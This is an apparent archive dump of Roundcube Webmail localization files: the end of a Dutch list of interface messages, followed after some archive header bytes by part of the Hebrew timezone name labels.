$messages['deletegroupconfirm']  = 'Weet u zeker dat u de geselecteerde groep wilt verwijderen?';
$messages['deletemessagesconfirm'] = 'Bent u zeker dat u de geselecteerde bericht(en) wilt verwijderen?';
$messages['deletefolderconfirm']  = 'Weet u zeker dat u deze map wilt verwijderen?';
$messages['purgefolderconfirm']  = 'Bent u zeker dat u alle berichten in deze map wilt verwijderen?';
$messages['contactdeleting'] = 'Bezig met verwijderen één of meer contactpersonen...';
$messages['groupdeleting'] = 'Groep wordt verwijderd...';
$messages['folderdeleting'] = 'Map verwijderen...';
$messages['foldermoving'] = 'Map verplaatsen...';
$messages['foldersubscribing'] = 'Bezig met abonneren op map...';
$messages['folderunsubscribing'] = 'Abonnement op map wordt opgezegd...';
$messages['formincomplete'] = 'Het formulier is niet volledig ingevuld.';
$messages['noemailwarning'] = 'Geef een geldig e-mailadres op.';
$messages['nonamewarning']  = 'Geef een naam op.';
$messages['nopagesizewarning'] = 'Geef een geldig aantal berichten per pagina op.';
$messages['norecipientwarning'] = 'Geef minstens één bestemmeling op.';
$messages['nosubjectwarning']  = 'Geen onderwerp opgegeven. Wenst u alsnog een onderwerp te geven?';
$messages['nobodywarning'] = 'Wilt u dit lege bericht versturen?';
$messages['nosearchname'] = 'Geen een contacpersoon of e-mailadres op.';
$messages['notuploadedwarning'] = 'Nog niet alle bijlagen zijn geüpload. Wacht even of annuleer de upload.';
$messages['searchsuccessful'] = '$nr berichten gevonden.';
$messages['contactsearchsuccessful'] = '$nr contactpersonen gevonden.';
$messages['searchnomatch'] = 'Zoekopdracht leverde geen resultaten.';
$messages['searching'] = 'Bezig met zoeken...';
$messages['checking'] = 'Bezig met controleren...';
$messages['stillsearching'] = 'Nog steeds aan het zoeken...';
$messages['nospellerrors'] = 'Geen spelfouten gevonden.';
$messages['folderdeleted'] = 'Map met succes verwijderd.';
$messages['foldersubscribed'] = 'Folder succesvol geabonneerd.';
$messages['folderunsubscribed'] = 'Folder succesvol uitgeschreven.';
$messages['deletedsuccessfully'] = 'Succesvol verwijderd.';
$messages['converting'] = 'Opmaak van het bericht wordt gewist...';
$messages['messageopenerror'] = 'Kon het bericht niet ophalen van de server.';
$messages['filelinkerror'] = 'Toevoegen van het bestand mislukt.';
$messages['fileuploaderror'] = 'Bestandsupload mislukt.';
$messages['filesizeerror'] = 'Het bestand overschrijdt de maximum grootte van $size.';
$messages['copysuccess'] = '$nr contactpersonen succesvol gekopieerd.';
$messages['movesuccess'] = '$nr contactpersonen succesvol verplaatst.';
$messages['copyerror'] = 'Kon contactpersoon niet kopiëren.';
$messages['moveerror'] = 'Kon contactpersoon niet verplaatsen.';
$messages['sourceisreadonly'] = 'Het adres kan niet worden opgeslagen.';
$messages['errorsavingcontact'] = 'Kon de contactpersoon niet bewaren.';
$messages['movingmessage'] = 'Bericht wordt verplaatst...';
$messages['copyingmessage'] = 'Bericht wordt gekopieerd...';
$messages['copyingcontact'] = 'Kopiëren contactpersonen...';
$messages['movingcontact'] = 'Verplaatsen contactperso(o)n(en)...';
$messages['deletingmessage'] = 'Bericht wordt verwijderd...';
$messages['markingmessage'] = 'Bericht wordt gemarkeerd...';
$messages['addingmember'] = 'Contactpersonen worden toegevoegd aan de groep...';
$messages['removingmember'] = 'Contactpersonen worden verwijderd uit de groep...';
$messages['receiptsent'] = 'Ontvangstbevestiging verstuurd.';
$messages['errorsendingreceipt'] = 'Kon de ontvangstbevestigign niet versturen.';
$messages['deleteidentityconfirm'] = 'Bent u zeker dat u deze identiteit wilt verwijderen?';
$messages['nodeletelastidentity'] = 'U kunt dit laatste afzendadres niet verwijderen.';
$messages['forbiddencharacter'] = 'De naam van de map bevat een karakter dat niet is toegestaan.';
$messages['selectimportfile'] = 'Selecteer een bestand om te uploaden.';
$messages['addresswriterror'] = 'Het geselecteerde adresboek is alleen-lezen.';
$messages['contactaddedtogroup'] = 'Contact(en) met succes toegevoegd aan de groep.';
$messages['contactremovedfromgroup'] = 'Contact(en) met succes verwijderd aan de groep.';
$messages['nogroupassignmentschanged'] = 'Geen groepslidmaatschap gewijzigd.';
$messages['importwait'] = 'Bezig met importeren, even geduld...';
$messages['importformaterror'] = 'Importeren mislukt! Het geüploade bestand is geen importeerbaar bestand.';
$messages['importconfirm'] = '<b>Er zijn $inserted contactpersonen succesvol geïmporteerd</b>';
$messages['importconfirmskipped'] = '<b>$skipped bestaande contactpersonen overgeslagen</b>';
$messages['importmessagesuccess'] = '$nr adressen met succes geïmporteerd.';
$messages['importmessageerror'] = 'Importeren mislukt! Het geüploade bestand is geen geldig bericht of mailbox bestand.';
$messages['opnotpermitted'] = 'Deze actie is niet toegestaan!';
$messages['httpreceivedencrypterror'] = 'Er is een fatale fout opgetreden. Neem direct contact op met uw systeembeheerder. <b>Uw bericht kon niet worden verzonden.</b>';
$messages['smtpconnerror'] = 'SMTP Fout ($code): Verbinding met server mislukt.';
$messages['smtpautherror'] = 'SMTP Fout ($code): Authenticatie mislukt.';
$messages['smtpfromerror'] = 'SMTP Fout ($code): Kon afzender "$from" niet instellen ($msg).';
$messages['smtptoerror'] = 'SMTP Fout ($code): Kon ontvanger "$to" niet toevoegen ($msg).';
$messages['smtprecipientserror'] = 'SMTP Fout: Kon lijst van ontvangers niet verwerken.';
$messages['smtperror'] = 'SMTP Fout: $msg';
$messages['toomanyrecipients'] = 'Te veel geadresseerden. Verminder de hoeveelheid geadresseerden tot $max.';
$messages['maxgroupmembersreached'] = 'Het aantal leden van de groep groter is dan de maximale van $max.';
$messages['internalerror'] = 'Er is een interne fout opgetreden. Probeer het later opnieuw.';
$messages['contactdelerror'] = 'Kon contactpersoon niet verwijderen.';
$messages['contactdeleted'] = 'Contactpersoon succesvol verwijderd.';
$messages['contactrestoreerror'] = 'Verwijderde contactpersonen konden niet hersteld worden.';
$messages['contactrestored'] = 'Contactpersonen succesvol hersteld.';
$messages['groupdeleted'] = 'Groep succesvol verwijderd.';
$messages['grouprenamed'] = 'Groep succesvol hernoemd.';
$messages['groupcreated'] = 'Groep succesvol aangemaakt.';
$messages['savedsearchdeleted'] = 'Opgeslagen zoekopdracht successvol verwijderd.';
$messages['savedsearchdeleteerror'] = 'Opgeslagen zoekopdracht kon niet worden verwijderd.';
$messages['savedsearchcreated'] = 'Zoekopdracht successvol opgeslagen.';
$messages['savedsearchcreateerror'] = 'Zoekopdracht kon niet worden opgeslagen.';
$messages['messagedeleted'] = 'Bericht(en) succesvol verwijderd.';
$messages['messagemoved'] = 'Bericht(en) succesvol verplaatst.';
$messages['messagecopied'] = 'Bericht(en) succesvol gekopieerd.';
$messages['messagemarked'] = 'Bericht(en) succesvol gemarkeerd.';
$messages['autocompletechars'] = 'Geef ten minste $min karakters voor auto-aanvullen.';
$messages['autocompletemore'] = 'Meerdere resultaten gevonden. Verfijn uw zoekopdracht.';
$messages['namecannotbeempty'] = 'Naam kan niet leeg zijn.';
$messages['nametoolong'] = 'Naam is te lang.';
$messages['namedotforbidden'] = 'Mapnaam kan niet met een punt starten.';
$messages['folderupdated'] = 'Map succesvol bijgewerkt.';
$messages['foldercreated'] = 'Map succesvol aangemaakt.';
$messages['invalidimageformat'] = 'Geen geldig afbeeldingsformaat.';
$messages['mispellingsfound'] = 'Spellingsfouten gedetecteerd in bericht.';
$messages['parentnotwritable'] = 'U heeft niet voldoende rechten een map te maken / verplaatsen in deze map.';
$messages['messagetoobig'] = 'Dit deel van uw bericht is te groot om het te verwerken.';
$messages['noscriptwarning'] = 'Opgelet: deze webmail service vereist JavaScript! Om deze service te kunnen gebruiken dient u JavaScript toe te staan in de instellingen van uw browser.';
$messages['messageissent'] = 'Het bericht werd reeds verzonden, maar nog niet  bewaard. Wil je het nu bewaren?';
$messages['errnotfound'] = 'Bestand niet gevonden';
$messages['errnotfoundexplain'] = 'De gevraagde hulpbron werd niet gevonden.';
$messages['errfailedrequest'] = 'Mislukt verzoek';
$messages['errauthorizationfailed'] = 'Autorisatie mislukt';
$messages['errrequestcheckfailed'] = 'Verzoek mislukt';
$messages['clicktoresumesession'] = 'Klik hier om uw vorige sessie te hernemen.';
PK
h�\W�nִX�X(program/localization/he_IL/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'זמן בינלאומי סטנדרדי';
$labels['tz:africa'] = 'אפריקה';
$labels['tz:africa:abidjan'] = 'אבידג\'אן';
$labels['tz:africa:accra'] = 'אקרה';
$labels['tz:africa:addis_ababa'] = 'אדיס אבבה';
$labels['tz:africa:algiers'] = 'אלג\'יר';
$labels['tz:africa:asmara'] = 'אסמרה';
$labels['tz:africa:bamako'] = 'באמאקו';
$labels['tz:africa:bangui'] = 'באנגוי';
$labels['tz:africa:banjul'] = 'באנג\'ול';
$labels['tz:africa:bissau'] = 'ביסאו';
$labels['tz:africa:blantyre'] = 'בלאנטיר';
$labels['tz:africa:brazzaville'] = 'ברזוויל';
$labels['tz:africa:bujumbura'] = 'בוג\'ומבורה';
$labels['tz:africa:cairo'] = 'קהיר';
$labels['tz:africa:casablanca'] = 'קזבלנקה';
$labels['tz:africa:ceuta'] = 'סיוטה';
$labels['tz:africa:conakry'] = 'קונקרי';
$labels['tz:africa:dakar'] = 'דאקאר';
$labels['tz:africa:dar_es_salaam'] = 'דאר א סלאם';
$labels['tz:africa:djibouti'] = 'ג\'יבוטי';
$labels['tz:africa:douala'] = 'דואלה';
$labels['tz:africa:el_aaiun'] = 'אל עיון';
$labels['tz:africa:freetown'] = 'פריטאון';
$labels['tz:africa:gaborone'] = 'גבורון';
$labels['tz:africa:harare'] = 'האררה';
$labels['tz:africa:johannesburg'] = 'יוהנסבורג';
$labels['tz:africa:juba'] = 'ג\'ובה';
$labels['tz:africa:kampala'] = 'קמפלה';
$labels['tz:africa:khartoum'] = 'חרטום';
$labels['tz:africa:kigali'] = 'קיגאלי';
$labels['tz:africa:kinshasa'] = 'קינשאסה';
$labels['tz:africa:lagos'] = 'לאגוס';
$labels['tz:africa:libreville'] = 'ליברוויל';
$labels['tz:africa:lome'] = 'לומה';
$labels['tz:africa:luanda'] = 'לואנדה';
$labels['tz:africa:lubumbashi'] = 'לובומבאשי';
$labels['tz:africa:lusaka'] = 'לוסאקה';
$labels['tz:africa:malabo'] = 'מלאבו';
$labels['tz:africa:maputo'] = 'מפוטו';
$labels['tz:africa:maseru'] = 'מאסרו';
$labels['tz:africa:mbabane'] = 'מבאבאנה';
$labels['tz:africa:mogadishu'] = 'מוגדישו';
$labels['tz:africa:monrovia'] = 'מונרוביה';
$labels['tz:africa:nairobi'] = 'נאירובי';
$labels['tz:africa:ndjamena'] = 'נדג\'אמנה';
$labels['tz:africa:niamey'] = 'ניאמי';
$labels['tz:africa:nouakchott'] = 'נואקצ\'וט';
$labels['tz:africa:ouagadougou'] = 'אואגדוגו';
$labels['tz:africa:porto-novo'] = 'פורטו נובו';
$labels['tz:africa:sao_tome'] = 'סאו תומה';
$labels['tz:africa:tripoli'] = 'טריפולי';
$labels['tz:africa:tunis'] = 'תוניס';
$labels['tz:africa:windhoek'] = 'ווינדוק';
$labels['tz:america'] = 'אמריקה';
$labels['tz:america:adak'] = 'אדאק';
$labels['tz:america:anchorage'] = 'אנקורג\'';
$labels['tz:america:anguilla'] = 'אנגואייה';
$labels['tz:america:antigua'] = 'אנטיגואה';
$labels['tz:america:araguaina'] = 'אראגואינה';
$labels['tz:america:argentina'] = 'ארגנטינה';
$labels['tz:america:argentina:buenos_aires'] = 'בואנוס איירס';
$labels['tz:america:argentina:catamarca'] = 'קאטאמארקה';
$labels['tz:america:argentina:cordoba'] = 'קורדובה';
$labels['tz:america:argentina:jujuy'] = 'חוחואי';
$labels['tz:america:argentina:la_rioja'] = 'לה ריוחה';
$labels['tz:america:argentina:mendoza'] = 'מנדוסה';
$labels['tz:america:argentina:rio_gallegos'] = 'ריו קאיחוס';
$labels['tz:america:argentina:salta'] = 'סאלטה';
$labels['tz:america:argentina:san_juan'] = 'סן חואן';
$labels['tz:america:argentina:san_luis'] = 'סן לואיס';
$labels['tz:america:argentina:tucuman'] = 'טוקומן';
$labels['tz:america:argentina:ushuaia'] = 'אושואיה';
$labels['tz:america:aruba'] = 'ארובה';
$labels['tz:america:asuncion'] = 'אסונסיון';
$labels['tz:america:atikokan'] = 'אטיקוקן';
$labels['tz:america:bahia'] = 'באהיה';
$labels['tz:america:bahia_banderas'] = 'באהיה בנדראס';
$labels['tz:america:barbados'] = 'ברבדוס';
$labels['tz:america:belem'] = 'בלם';
$labels['tz:america:belize'] = 'בליז';
$labels['tz:america:blanc-sablon'] = 'בלאנק-סבלון';
$labels['tz:america:boa_vista'] = 'בואה ויסטה';
$labels['tz:america:bogota'] = 'בוגוטה';
$labels['tz:america:boise'] = 'בויזי';
$labels['tz:america:cambridge_bay'] = 'קמברידג\' ביי';
$labels['tz:america:campo_grande'] = 'קמפו גרנדה';
$labels['tz:america:cancun'] = 'קנקון';
$labels['tz:america:caracas'] = 'קראקאס';
$labels['tz:america:cayenne'] = 'קאיין';
$labels['tz:america:cayman'] = 'קיימן';
$labels['tz:america:chicago'] = 'שיקגו';
$labels['tz:america:chihuahua'] = 'צ\'יוואוואה';
$labels['tz:america:costa_rica'] = 'קוסטה ריקה';
$labels['tz:america:creston'] = 'קרסטון';
$labels['tz:america:cuiaba'] = 'קולאבה';
$labels['tz:america:curacao'] = 'קורסאו';
$labels['tz:america:danmarkshavn'] = 'דנמרקסהאבן';
$labels['tz:america:dawson'] = 'דוסון';
$labels['tz:america:dawson_creek'] = 'דוסון קריק';
$labels['tz:america:denver'] = 'דנבר';
$labels['tz:america:detroit'] = 'דטרויט';
$labels['tz:america:dominica'] = 'דומיניקה';
$labels['tz:america:edmonton'] = 'אדמונטון';
$labels['tz:america:eirunepe'] = 'איירונפה';
$labels['tz:america:el_salvador'] = 'אל סלבדור';
$labels['tz:america:fort_nelson'] = 'פורט נלסון';
$labels['tz:america:fortaleza'] = 'פורטלסה';
$labels['tz:america:glace_bay'] = 'גלייס ביי';
$labels['tz:america:godthab'] = 'גוטהאב';
$labels['tz:america:goose_bay'] = 'גוס ביי';
$labels['tz:america:grand_turk'] = 'גרנד טרק';
$labels['tz:america:grenada'] = 'גרנדה';
$labels['tz:america:guadeloupe'] = 'גואדלופ';
$labels['tz:america:guatemala'] = 'גואטמלה';
$labels['tz:america:guayaquil'] = 'גואיקיל';
$labels['tz:america:guyana'] = 'גויאנה';
$labels['tz:america:halifax'] = 'האליפקס';
$labels['tz:america:havana'] = 'הבאנה';
$labels['tz:america:hermosillo'] = 'הרמוסיו';
$labels['tz:america:indiana'] = 'אינדיאנה';
$labels['tz:america:indiana:indianapolis'] = 'אינדיאנאפוליס';
$labels['tz:america:indiana:knox'] = 'נוקס';
$labels['tz:america:indiana:marengo'] = 'מרנגו';
$labels['tz:america:indiana:petersburg'] = 'פטרסבורג';
$labels['tz:america:indiana:tell_city'] = 'טל סיטי';
$labels['tz:america:indiana:vevay'] = 'וובאי';
$labels['tz:america:indiana:vincennes'] = 'וויסנס';
$labels['tz:america:indiana:winamac'] = 'ווינמאק';
$labels['tz:america:inuvik'] = 'אינוביק';
$labels['tz:america:iqaluit'] = 'איקאלואיט';
$labels['tz:america:jamaica'] = 'ג\'מאיקה';
$labels['tz:america:juneau'] = 'ג\'ונו';
$labels['tz:america:kentucky'] = 'קנטאקי';
$labels['tz:america:kentucky:louisville'] = 'לואיוויל';
$labels['tz:america:kentucky:monticello'] = 'מונטיצ\'לו';
$labels['tz:america:kralendijk'] = 'קראלנדיק';
$labels['tz:america:la_paz'] = 'לה פס';
$labels['tz:america:lima'] = 'לימה';
$labels['tz:america:los_angeles'] = 'לוס אנג\'לס';
$labels['tz:america:lower_princes'] = 'לואר פרינסס';
$labels['tz:america:maceio'] = 'מסיאו';
$labels['tz:america:managua'] = 'מנאגואה';
$labels['tz:america:manaus'] = 'מנאוס';
$labels['tz:america:marigot'] = 'מאריגוט';
$labels['tz:america:martinique'] = 'מרטיניק';
$labels['tz:america:matamoros'] = 'מטאמורוס';
$labels['tz:america:mazatlan'] = 'מזאטלן';
$labels['tz:america:menominee'] = 'מנומיני';
$labels['tz:america:merida'] = 'מרידה';
$labels['tz:america:metlakatla'] = 'מטלקטלה';
$labels['tz:america:mexico_city'] = 'מקסיקו סיטי';
$labels['tz:america:miquelon'] = 'מיקלון';
$labels['tz:america:moncton'] = 'מונקטון';
$labels['tz:america:monterrey'] = 'מונטריי';
$labels['tz:america:montevideo'] = 'מונטוידיאו';
$labels['tz:america:montserrat'] = 'מונטסראט';
$labels['tz:america:nassau'] = 'נסאו';
$labels['tz:america:new_york'] = 'ניו יורק';
$labels['tz:america:nipigon'] = 'ניפיגון';
$labels['tz:america:nome'] = 'נום';
$labels['tz:america:noronha'] = 'מורוניה';
$labels['tz:america:north_dakota'] = 'נורת\' דקוטה';
$labels['tz:america:north_dakota:beulah'] = 'ביולה';
$labels['tz:america:north_dakota:center'] = 'סנטר';
$labels['tz:america:north_dakota:new_salem'] = 'ניו סיילם';
$labels['tz:america:ojinaga'] = 'אוחינגה';
$labels['tz:america:panama'] = 'פנמה';
$labels['tz:america:pangnirtung'] = 'פאנגנירטונג';
$labels['tz:america:paramaribo'] = 'פראמאריבו';
$labels['tz:america:phoenix'] = 'פיניקס';
$labels['tz:america:port-au-prince'] = 'פורט או פרינס';
$labels['tz:america:port_of_spain'] = 'פורט אוף ספיין';
$labels['tz:america:porto_velho'] = 'פורטו וולהו';
$labels['tz:america:puerto_rico'] = 'פוארטו ריקו';
$labels['tz:america:rainy_river'] = 'רייני ריבר';
$labels['tz:america:rankin_inlet'] = 'ראנקין אינלט';
$labels['tz:america:recife'] = 'רסיפה';
$labels['tz:america:regina'] = 'רגינה';
$labels['tz:america:resolute'] = 'רסולוטה';
$labels['tz:america:rio_branco'] = 'ריו בראנקו';
$labels['tz:america:santarem'] = 'סנטרם';
$labels['tz:america:santiago'] = 'סנטיאגו';
$labels['tz:america:santo_domingo'] = 'סנטו דומינגו';
$labels['tz:america:sao_paulo'] = 'סאו פאולו';
$labels['tz:america:scoresbysund'] = 'סקורסביסונד';
$labels['tz:america:sitka'] = 'סיטקה';
$labels['tz:america:st_barthelemy'] = 'סיינט ברתלמיי';
$labels['tz:america:st_johns'] = "סיינט ג'ונס";
$labels['tz:america:st_kitts'] = 'סיינט קיטס';
$labels['tz:america:st_lucia'] = 'סיינט לוסיה';
$labels['tz:america:st_thomas'] = 'סיינט תומאס';
$labels['tz:america:st_vincent'] = 'סיינט וינסנט';
$labels['tz:america:swift_current'] = 'סוויפט קארנט';
$labels['tz:america:tegucigalpa'] = 'טגוסיגאלפה';
$labels['tz:america:thule'] = 'תול';
$labels['tz:america:thunder_bay'] = 'תאנדר ביי';
$labels['tz:america:tijuana'] = 'טיחואנה';
$labels['tz:america:toronto'] = 'טורונטו';
$labels['tz:america:tortola'] = 'טורטולה';
$labels['tz:america:vancouver'] = 'ונקובר';
$labels['tz:america:whitehorse'] = 'ווייטהורס';
$labels['tz:america:winnipeg'] = 'וויניפג';
$labels['tz:america:yakutat'] = 'יקוטאט';
$labels['tz:america:yellowknife'] = 'יילוונייף';
$labels['tz:antarctica'] = 'אנטרטיקה';
$labels['tz:antarctica:casey'] = 'קייסי';
$labels['tz:antarctica:davis'] = 'דייביס';
$labels['tz:antarctica:dumontdurville'] = "דומון ד'אורויל";
$labels['tz:antarctica:macquarie'] = 'מקארי';
$labels['tz:antarctica:mawson'] = 'מוסון';
$labels['tz:antarctica:mcmurdo'] = 'מקמורדו';
$labels['tz:antarctica:palmer'] = 'פאלמר';
$labels['tz:antarctica:rothera'] = 'רותרה';
$labels['tz:antarctica:syowa'] = 'סאיווה';
$labels['tz:antarctica:troll'] = 'טרול';
$labels['tz:antarctica:vostok'] = 'ווסטוק';
$labels['tz:arctic'] = 'ארקטיק';
$labels['tz:arctic:longyearbyen'] = 'לונגיירביין';
$labels['tz:asia'] = 'אסיה';
$labels['tz:asia:aden'] = 'עדן';
$labels['tz:asia:almaty'] = 'אמאטי';
$labels['tz:asia:amman'] = 'עמאן';
$labels['tz:asia:anadyr'] = 'אנאדיר';
$labels['tz:asia:aqtau'] = 'אקטאו';
$labels['tz:asia:aqtobe'] = 'אקטובה';
$labels['tz:asia:ashgabat'] = 'אשגבאט';
$labels['tz:asia:atyrau'] = 'אטיראו';
$labels['tz:asia:baghdad'] = 'בגדד';
$labels['tz:asia:bahrain'] = 'בחריין';
$labels['tz:asia:baku'] = 'באקו';
$labels['tz:asia:bangkok'] = 'בנגקוק';
$labels['tz:asia:barnaul'] = 'במאול';
$labels['tz:asia:beirut'] = 'ביירות';
$labels['tz:asia:bishkek'] = 'בישקק';
$labels['tz:asia:brunei'] = 'ברוניי';
$labels['tz:asia:chita'] = 'צ\'יטה';
$labels['tz:asia:choibalsan'] = 'צ\'ויבלסן';
$labels['tz:asia:colombo'] = 'קולומבו';
$labels['tz:asia:damascus'] = 'דמשק';
$labels['tz:asia:dhaka'] = 'דאקה';
$labels['tz:asia:dili'] = 'דילי';
$labels['tz:asia:dubai'] = 'דובאי';
$labels['tz:asia:dushanbe'] = 'דושנבה';
$labels['tz:asia:famagusta'] = 'פמגוסטה';
$labels['tz:asia:gaza'] = 'עזה';
$labels['tz:asia:hebron'] = 'חברון';
$labels['tz:asia:ho_chi_minh'] = 'הו צ\'י מין';
$labels['tz:asia:hong_kong'] = 'הונג קונג';
$labels['tz:asia:hovd'] = 'חוווד';
$labels['tz:asia:irkutsk'] = 'אירקוצק';
$labels['tz:asia:jakarta'] = 'ג\'קארטה';
$labels['tz:asia:jayapura'] = 'ג\'איאפורה';
$labels['tz:asia:jerusalem'] = 'ירושלים';
$labels['tz:asia:kabul'] = 'קאבול';
$labels['tz:asia:kamchatka'] = 'קאמצ\'טקה';
$labels['tz:asia:karachi'] = 'קראצ\'י';
$labels['tz:asia:kathmandu'] = 'קתמנדו';
$labels['tz:asia:khandyga'] = 'קאנדיג\'ה';
$labels['tz:asia:kolkata'] = 'כולכתה';
$labels['tz:asia:krasnoyarsk'] = 'קראסנויארסק';
$labels['tz:asia:kuala_lumpur'] = 'קואלה לומפור';
$labels['tz:asia:kuching'] = 'קוצ\'ינג';
$labels['tz:asia:kuwait'] = 'כוויית';
$labels['tz:asia:macau'] = 'מקאו';
$labels['tz:asia:magadan'] = 'מאגאדן';
$labels['tz:asia:makassar'] = 'מקאסר';
$labels['tz:asia:manila'] = 'מנילה';
$labels['tz:asia:muscat'] = 'מוסקט';
$labels['tz:asia:nicosia'] = 'ניקוסיה';
$labels['tz:asia:novokuznetsk'] = 'נובוקוזנצק';
$labels['tz:asia:novosibirsk'] = 'נובוסיבירסק';
$labels['tz:asia:omsk'] = 'אומסק';
$labels['tz:asia:oral'] = 'אורל';
$labels['tz:asia:phnom_penh'] = 'פנום פן';
$labels['tz:asia:pontianak'] = 'פונטיאנאק';
$labels['tz:asia:pyongyang'] = 'פיונגיאנג';
$labels['tz:asia:qatar'] = 'קטאר';
$labels['tz:asia:qyzylorda'] = 'קיזילורדה';
$labels['tz:asia:riyadh'] = 'ריאד';
$labels['tz:asia:sakhalin'] = 'סאחלין';
$labels['tz:asia:samarkand'] = 'סמרקנד';
$labels['tz:asia:seoul'] = 'סיאול';
$labels['tz:asia:shanghai'] = 'שנגחאי';
$labels['tz:asia:singapore'] = 'סינגפור';
$labels['tz:asia:srednekolymsk'] = 'סרדנקולימסק';
$labels['tz:asia:taipei'] = 'טאיפה';
$labels['tz:asia:tashkent'] = 'טשקנט';
$labels['tz:asia:tbilisi'] = 'טביליסי';
$labels['tz:asia:tehran'] = 'טהרן';
$labels['tz:asia:thimphu'] = 'תימפו';
$labels['tz:asia:tokyo'] = 'טוקיו';
$labels['tz:asia:tomsk'] = 'טומסק';
$labels['tz:asia:ulaanbaatar'] = 'אולנבטאר';
$labels['tz:asia:urumqi'] = 'אורומקי';
$labels['tz:asia:ust-nera'] = 'אוסט-נרה';
$labels['tz:asia:vientiane'] = 'ווינטיאן';
$labels['tz:asia:vladivostok'] = 'וולאדיווסטוק';
$labels['tz:asia:yakutsk'] = 'יאקוצק';
$labels['tz:asia:yangon'] = 'יאנגון';
$labels['tz:asia:yekaterinburg'] = 'יקטרינבורג';
$labels['tz:asia:yerevan'] = 'ירוואן';
$labels['tz:atlantic'] = 'אטלנטיק';
$labels['tz:atlantic:azores'] = 'אזוריים';
$labels['tz:atlantic:bermuda'] = 'ברמודה';
$labels['tz:atlantic:canary'] = 'קנארי';
$labels['tz:atlantic:cape_verde'] = 'קייפ וורדה';
$labels['tz:atlantic:faroe'] = 'פארו';
$labels['tz:atlantic:madeira'] = 'מאדיירה';
$labels['tz:atlantic:reykjavik'] = 'רייקיאוויק';
$labels['tz:atlantic:south_georgia'] = 'סאות ג\'ורג\'יה';
$labels['tz:atlantic:st_helena'] = 'סט הלנה';
$labels['tz:atlantic:stanley'] = 'סטנלי';
$labels['tz:australia'] = 'אוסטרליה';
$labels['tz:australia:adelaide'] = 'אדלייד';
$labels['tz:australia:brisbane'] = 'בריסביין';
$labels['tz:australia:broken_hill'] = 'ברוקן היל';
$labels['tz:australia:currie'] = 'קארי';
$labels['tz:australia:darwin'] = 'דארווין';
$labels['tz:australia:eucla'] = 'יוקלה';
$labels['tz:australia:hobart'] = 'הובארט';
$labels['tz:australia:lindeman'] = 'לינדמאן';
$labels['tz:australia:lord_howe'] = 'לורד האווי';
$labels['tz:australia:melbourne'] = 'מלבורן';
$labels['tz:australia:perth'] = 'פרת';
$labels['tz:australia:sydney'] = 'סידני';
$labels['tz:europe'] = 'אירופה';
$labels['tz:europe:amsterdam'] = 'אמסטרדם';
$labels['tz:europe:andorra'] = 'אנדורה';
$labels['tz:europe:astrakhan'] = 'אסטרחאן';
$labels['tz:europe:athens'] = 'אתונה';
$labels['tz:europe:belgrade'] = 'בלגראד';
$labels['tz:europe:berlin'] = 'ברלין';
$labels['tz:europe:bratislava'] = 'ברטיסלאבה';
$labels['tz:europe:brussels'] = 'בריסל';
$labels['tz:europe:bucharest'] = 'בוקרשט';
$labels['tz:europe:budapest'] = 'בודפשט';
$labels['tz:europe:busingen'] = 'בוסינגן';
$labels['tz:europe:chisinau'] = 'קישינב';
$labels['tz:europe:copenhagen'] = 'קופנהאגן';
$labels['tz:europe:dublin'] = 'דבלין';
$labels['tz:europe:gibraltar'] = 'גיברלטר';
$labels['tz:europe:guernsey'] = 'גרנזי';
$labels['tz:europe:helsinki'] = 'הלסינקי';
$labels['tz:europe:isle_of_man'] = 'אייל אוף מאן';
$labels['tz:europe:istanbul'] = 'איסטנבול';
$labels['tz:europe:jersey'] = 'ג\'רזי';
$labels['tz:europe:kaliningrad'] = 'קאלינינגראד';
$labels['tz:europe:kiev'] = 'קייב';
$labels['tz:europe:kirov'] = 'קירוב';
$labels['tz:europe:lisbon'] = 'ליסבון';
$labels['tz:europe:ljubljana'] = 'ליובליאנה';
$labels['tz:europe:london'] = 'לונדון';
$labels['tz:europe:luxembourg'] = 'לוקסמבורג';
$labels['tz:europe:madrid'] = 'מדריד';
$labels['tz:europe:malta'] = 'מאלטה';
$labels['tz:europe:mariehamn'] = 'מריהאם';
$labels['tz:europe:minsk'] = 'מינסק';
$labels['tz:europe:monaco'] = 'מונאקו';
$labels['tz:europe:moscow'] = 'מוסקבה';
$labels['tz:europe:oslo'] = 'אוסלו';
$labels['tz:europe:paris'] = 'פריס';
$labels['tz:europe:podgorica'] = 'פודגוריצה';
$labels['tz:europe:prague'] = 'פראג';
$labels['tz:europe:riga'] = 'ריגה';
$labels['tz:europe:rome'] = 'רומא';
$labels['tz:europe:samara'] = 'סמארה';
$labels['tz:europe:san_marino'] = 'סן מרינו';
$labels['tz:europe:sarajevo'] = 'סראייבו';
$labels['tz:europe:saratov'] = 'סראטוב';
$labels['tz:europe:simferopol'] = 'סימפרופול';
$labels['tz:europe:skopje'] = 'סקופיה';
$labels['tz:europe:sofia'] = 'סופיה';
$labels['tz:europe:stockholm'] = 'סטוקהולם';
$labels['tz:europe:tallinn'] = 'טאלין';
$labels['tz:europe:tirane'] = 'טיראנה';
$labels['tz:europe:ulyanovsk'] = 'אוליאנובסק';
$labels['tz:europe:uzhgorod'] = 'אוז\'גורוד';
$labels['tz:europe:vaduz'] = 'ואדוז';
$labels['tz:europe:vatican'] = 'ותיקן';
$labels['tz:europe:vienna'] = 'וינה';
$labels['tz:europe:vilnius'] = 'וילניוס';
$labels['tz:europe:volgograd'] = 'וולגוגראד';
$labels['tz:europe:warsaw'] = 'ורשה';
$labels['tz:europe:zagreb'] = 'זאגרב';
$labels['tz:europe:zaporozhye'] = 'זאפורוז\'ייה';
$labels['tz:europe:zurich'] = 'ציריך';
$labels['tz:indian'] = 'אינדיאן';
$labels['tz:indian:antananarivo'] = 'אטננריבו';
$labels['tz:indian:chagos'] = 'צ\'אגוס';
$labels['tz:indian:christmas'] = 'כריסטמס';
$labels['tz:indian:cocos'] = 'קוקוס';
$labels['tz:indian:comoro'] = 'קומורו';
$labels['tz:indian:kerguelen'] = 'קרגואלן';
$labels['tz:indian:mahe'] = 'מאהה';
$labels['tz:indian:maldives'] = 'מלדיביים';
$labels['tz:indian:mauritius'] = 'מאוריציוס';
$labels['tz:indian:mayotte'] = 'מאיוט';
$labels['tz:indian:reunion'] = 'ראוניון';
$labels['tz:pacific'] = 'פסיפיק';
